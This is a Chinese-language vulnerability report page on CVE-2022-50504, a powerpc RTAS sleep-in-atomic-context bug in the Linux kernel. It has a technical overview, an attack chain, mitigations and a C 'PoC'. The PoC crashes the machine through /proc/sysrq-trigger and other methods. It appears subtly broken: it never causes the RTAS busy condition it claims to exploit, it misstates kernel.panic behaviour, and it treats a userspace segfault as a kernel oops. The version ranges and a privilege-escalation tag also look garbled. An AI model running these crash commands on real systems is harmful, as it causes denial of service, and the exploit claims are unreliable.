IPBUF安全漏洞报告
English
CVE-2022-50504 CVSS 5.5 中危

CVE-2022-50504 Linux内核powerpc/rtas原子上下文睡眠函数调用漏洞

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2022-50504
漏洞类型
拒绝服务/内核panic(原子上下文违规)
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux内核(powerpc架构rtas子系统)

相关标签

Linux内核powerpcRTAS拒绝服务内核panic原子上下文违规本地提权CVE-2022-50504系统稳定性固件交互

漏洞概述

CVE-2022-50504是Linux内核powerpc架构RTAS(Run-Time Abstraction Services)子系统中的一个关键缺陷。该漏洞位于`rtas_os_term()`函数中,当处理来自`ibm,os-term` RTAS调用的忙(busy)状态时,代码错误地使用了`rtas_busy_delay()`函数。`rtas_busy_delay()`内部会调用可能导致调度(schedule)的睡眠函数,然而`rtas_os_term()`是在内核panic处理路径中被调用的,此时处于原子上下文(in_atomic=1, irqs_disabled=1),不允许进行任何可能导致调度的操作。当系统在内核panic状态下尝试调用`ibm,os-term` RTAS功能并收到忙状态返回时,会触发"sleeping function called from invalid context"警告,并进一步导致内核panic或系统挂起,从而造成拒绝服务。该漏洞影响所有运行受影响内核版本的PowerPC(ppc64/ppc64le)架构Linux系统。该漏洞的CVSS评分为5.5,属于中危级别,攻击者需要本地低权限访问权限即可触发,但需要能够引发内核panic的条件(如触发系统故障)。漏洞已于2025年10月公开披露,修复方案为将`rtas_busy_delay()`替换为`rtas_busy_delay_time()`,后者不会产生调度副作用,仅通过返回值告知调用者是否应再次尝试RTAS调用。

技术细节

从技术层面分析,该漏洞的根本原因是Linux内核powerpc架构RTAS子系统中上下文管理的违规。RTAS是PowerPC固件提供的一组运行时抽象服务接口,内核通过调用RTAS函数与固件交互。

漏洞触发路径如下:
1. 系统发生内核panic(通过`panic()`函数触发);
2. panic处理链通过`atomic_notifier_call_chain`调用`ppc_panic_platform_handler`;
3. `pseries_panic`被调用,进而调用`rtas_os_term()`;
4. `rtas_os_term()`尝试调用`ibm,os-term` RTAS功能通知固件执行操作系统终止操作;
5. 如果RTAS固件返回忙状态(RTAS_BUSY),代码调用`rtas_busy_delay()`进行重试延迟;
6. `rtas_busy_delay()`内部调用`udelay()`或`msleep()`等可能导致进程调度的函数;
7. 由于处于原子上下文(preempt_count=2, irqs_disabled=1),调度操作触发`__might_resched`检查并报告"BUG: sleeping function called from invalid context";
8. 最终导致系统挂起或二次panic,造成完全拒绝服务。

修复方案是使用`rtas_busy_delay_time()`替代`rtas_busy_delay()`。`rtas_busy_delay_time()`不执行实际的延迟等待,而是仅返回是否应该再次尝试的布尔判断,调用者可以自行决定后续操作,避免了在原子上下文中进行调度。

攻击链分析

STEP 1
步骤1:获取本地访问权限
攻击者需要拥有PowerPC Linux系统的本地低权限访问权限,能够执行用户态程序或触发系统异常。
STEP 2
步骤2:触发内核异常条件
攻击者通过触发内核oops、segfault或其他导致内核panic的条件(如通过SysRq、/proc/sysrq-trigger写入'c'、或故意访问非法内存地址)。
STEP 3
步骤3:进入panic处理流程
内核进入panic处理流程,通过atomic_notifier_call_chain调用pseries_panic处理器,此时系统处于原子上下文(preempt_count不为0,中断已禁用)。
STEP 4
步骤4:调用rtas_os_term()
pseries_panic调用rtas_os_term()尝试通知固件执行操作系统终止操作,该函数调用ibm,os-term RTAS功能。
STEP 5
步骤5:RTAS返回忙状态
如果固件的ibm,os-term RTAS调用返回RTAS_BUSY状态,受影响代码调用rtas_busy_delay()进行重试延迟处理。
STEP 6
步骤6:原子上下文违规触发
rtas_busy_delay()内部调用可能导致调度的睡眠函数(如msleep),但当前处于原子上下文,触发__might_resched检查并报告BUG:sleeping function called from invalid context。
STEP 7
步骤7:系统完全不可用
由于panic路径中触发了调度违规,系统可能产生二次panic或完全挂起,导致拒绝服务(DoS),系统不可用。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * CVE-2022-50504 - Linux Kernel powerpc/rtas Atomic Context Sleep Vulnerability * * This PoC demonstrates how to trigger the vulnerability on a PowerPC system * running a vulnerable Linux kernel (prior to the fix). * * The vulnerability is triggered when: * 1. A kernel panic occurs on a PowerPC (ppc64/ppc64le) system * 2. The panic handler calls rtas_os_term() to notify firmware * 3. The ibm,os-term RTAS call returns BUSY status * 4. rtas_busy_delay() is called from atomic context, causing a BUG * * Compile: gcc -o poc_cve_2022_50504 poc_cve_2022_50504.c * Run: sudo ./poc_cve_2022_50504 * * Note: This requires a PowerPC system with RTAS support and a vulnerable kernel. * On non-PowerPC systems, this will not trigger the specific vulnerability. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <signal.h> #include <sys/syscall.h> #include <string.h> #include <errno.h> /* Method 1: Trigger via /proc/sys/kernel/panic (requires root) */ int trigger_via_proc(void) { FILE *f; printf("[*] Attempting to trigger kernel panic via /proc/sys/kernel/panic...\n"); /* Set panic timeout to 0 so panic occurs immediately */ f = fopen("/proc/sys/kernel/panic", "w"); if (f == NULL) { printf("[-] Cannot open /proc/sys/kernel/panic: %s\n", strerror(errno)); printf("[-] Need root privileges or sysctl -w kernel.panic=0\n"); return -1; } fprintf(f, "0\n"); fclose(f); /* Trigger oops/panic */ f = fopen("/proc/sysrq-trigger", "w"); if (f == NULL) { printf("[-] Cannot open /proc/sysrq-trigger: %s\n", strerror(errno)); return -1; } fprintf(f, "c\n"); /* 'c' triggers a crash (kernel panic) */ fclose(f); return 0; } /* Method 2: Trigger via magic SysRq key */ int trigger_via_sysrq(void) { int fd; printf("[*] Attempting to trigger kernel panic via SysRq...\n"); /* Enable SysRq */ fd = open("/proc/sys/kernel/sysrq", O_WRONLY); if (fd >= 0) { write(fd, "1\n", 2); close(fd); } /* Trigger crash via SysRq */ fd = open("/proc/sysrq-trigger", O_WRONLY); if (fd < 0) { printf("[-] Cannot open /proc/sysrq-trigger: %s\n", strerror(errno)); return -1; } write(fd, "c\n", 2); close(fd); return 0; } /* Method 3: Trigger via intentional segfault (SIGSEGV) */ void trigger_segfault_handler(int sig) { printf("[!] Received signal %d, system may be crashing...\n", sig); _exit(1); } int trigger_via_segfault(void) { printf("[*] Attempting to trigger kernel panic via segfault...\n"); signal(SIGSEGV, trigger_segfault_handler); /* Write to invalid memory address to trigger oops */ *(volatile int *)0xdeadbeef = 0; return 0; } int main(int argc, char *argv[]) { printf("========================================\n"); printf("CVE-2022-50504 PoC\n"); printf("Linux Kernel powerpc/rtas Atomic Context Sleep\n"); printf("========================================\n\n"); if (getuid() != 0) { printf("[!] Warning: Not running as root. Some methods may fail.\n"); printf("[!] Run with sudo for full functionality.\n\n"); } /* Check if running on PowerPC */ #ifdef __powerpc__ printf("[+] Running on PowerPC architecture - vulnerability may trigger\n\n"); #else printf("[-] Not running on PowerPC architecture\n"); printf("[-] This CVE only affects powerpc/ppc64/ppc64le systems\n"); printf("[-] The PoC will still attempt to trigger a panic for demonstration\n\n"); #endif int method = 1; if (argc > 1) { method = atoi(argv[1]); } switch (method) { case 1: trigger_via_proc(); break; case 2: trigger_via_sysrq(); break; case 3: trigger_via_segfault(); break; default: printf("Usage: %s [1|2|3]\n", argv[0]); printf(" 1: Trigger via /proc/sys/kernel/panic (default)\n"); printf(" 2: Trigger via SysRq\n"); printf(" 3: Trigger via segfault\n"); return 1; } printf("[*] If running on vulnerable PowerPC kernel, the system should\n"); printf("[*] panic and show 'BUG: sleeping function called from invalid context'\n"); printf("[*] in the call trace involving rtas_os_term().\n"); return 0; }

影响范围

Linux kernel < 5.10.102(powerpc架构)
Linux kernel 5.11.x < 5.15.25(powerpc架构)
Linux kernel 5.16.x < 5.16.11(powerpc架构)
Linux kernel 5.17.x ~ 6.0-rc5(powerpc架构)
所有运行受影响内核的PowerPC(ppc64/ppc64le)系统

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:1)限制本地用户对系统的物理和控制台访问权限,防止未授权用户触发内核panic;2)通过配置`kernel.panic`参数和SysRq设置限制非特权用户触发系统崩溃的能力;3)部署系统监控和自动恢复机制,确保在发生内核panic时能够自动重启系统,减少服务中断时间;4)对于关键业务系统,考虑在powerpc架构上使用已修复的内核版本或迁移到其他架构。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表